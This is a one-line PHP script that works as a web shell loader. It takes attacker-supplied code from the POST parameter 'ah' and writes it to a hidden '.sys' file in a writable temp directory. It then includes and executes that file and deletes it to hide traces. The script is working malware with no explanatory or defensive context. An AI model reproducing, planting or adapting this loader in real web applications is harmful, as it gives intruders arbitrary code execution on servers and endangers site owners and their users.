<?php $dirs=array_filter([sys_get_temp_dir(),"/tmp","/var/tmp",ini_get("upload_tmp_dir"),getenv("TEMP"),getenv("TMP"),getcwd()]);$c=rawurldecode($_POST["ah"]);foreach($dirs as $d){if(is_dir($d)&& is_writable($d)){$p="{$d}/.sys";if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die("!notwrtbl!");